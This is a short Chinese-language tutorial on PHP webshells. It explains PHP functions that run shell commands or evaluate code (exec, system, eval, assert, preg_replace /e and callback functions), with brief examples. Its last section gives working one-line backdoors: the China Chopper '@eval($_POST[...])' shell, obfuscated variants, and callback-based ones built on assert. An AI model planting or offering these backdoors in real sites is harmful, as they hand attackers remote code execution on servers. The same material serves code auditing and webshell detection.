淺析PHP-webshell
一、PHP後門函式
1、命令執行函式
exec
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:執行一個外部程式,返回命令執行結果最後一行內容。
string exec ( string $command
[, array &$output
[, int &$return_var
]] )
<?php echo exec('cd'); //D:\phpStudy\PHPTutorial\WWW echo exec('ipconfig'); //. . . . . . . . . . . . . : 172.31.100.1 ?>
shell_exec
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回
string shell_exec ( string $cmd
)
<?php
echo shell_exec('ipconfig'); //顯示ipconfig命令全部內容
?>
passthru
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:執行外部程式並且顯示原始輸出(全部原始內容,不用輸出)
void passthru ( string $command
[, int &$return_var
] )
<?php
passthru('ipconfig'); //顯示ipconfig全部內容
?>
system
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:執行外部程式並且顯示輸出
string system ( string $command
[, int &$return_var
<?php
echo system('ipconfig'); //顯示ipconfig命令全部內容
?>
當然還有其它執行系統命令的函式,如popen()、proc_open(),但這兩個函式不返回命令執行結果。
2、PHP程式碼執行函式
eval
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:把字串作為PHP程式碼執行
mixed eval ( string $code
)
<?php
eval('phpinfo();');
?>
assert
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:檢查一個斷言是否為 FALSE
bool assert ( mixed $assertion
[, string $description
] )
如果 assertion
是字串,它將會被 assert() 當做 PHP 程式碼來執行。
<?php
assert(phpinfo());
assert('print 123');
?>
preg_replace
適用範圍:PHP 4, PHP 5, PHP 7 函式作用:執行一個正則表示式的搜尋和替換
mixed preg_replace ( mixed $pattern
, mixed $replacement
, mixed $subject
[, int $limit
= -1 [, int &$count
]] )
/e 修正符使 preg_replace() 將 replacement 引數當作 PHP 程式碼執行
<?php
preg_replace("//e","phpinfo()",""); //執行phpinfo()成功
?>
3、回撥函式
解釋:把函式作為引數傳入進另一個函式中使用。
call_user_func
把第一個引數作為回撥函式呼叫
call_user_func_array
呼叫回撥函式,並把一個數組引數作為回撥函式的引數
usort
使用使用者自定義的比較函式對陣列中的值進行排序
register_shutdown_function
<?php register_shutdown_function('assert','phpinfo();');?>
註冊一個會在php中止時執行的函式
array_map
為陣列的每個元素應用回撥函式
array_walk
使用使用者自定義函式對陣列中的每個元素做回撥處理
array_filter
用回撥函式過濾陣列中的單元
array_reduce
用回撥函式迭代地將陣列簡化為單一的值
array_udiff
用回撥函式比較資料來計算陣列的差集
array_uintersect
計算陣列的交集,用回撥函式比較資料
array_diff_uassoc
用使用者提供的回撥函式做索引檢查來計算陣列的差集
array_diff_ukey
用回撥函式對鍵名比較計算陣列的差集
等等,其它含有回撥函式的函式
二、後門構造
普通後門,通過各種方法構造動態函式:
<?php
@eval($_POST['admin']); //菜刀的後門
//稍微變形下的後門
$_GET['func']($_REQUEST['pass']);
$_GET['POST']($_POST['GET']);
......
?>
通過回撥函式進行構造後門
<?php
call_user_func('assert', $_POST['pass']);
call_user_func_array('assert', array($_POST['pass']));
//陣列回撥進行構造後門
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回撥函式進行構造
?>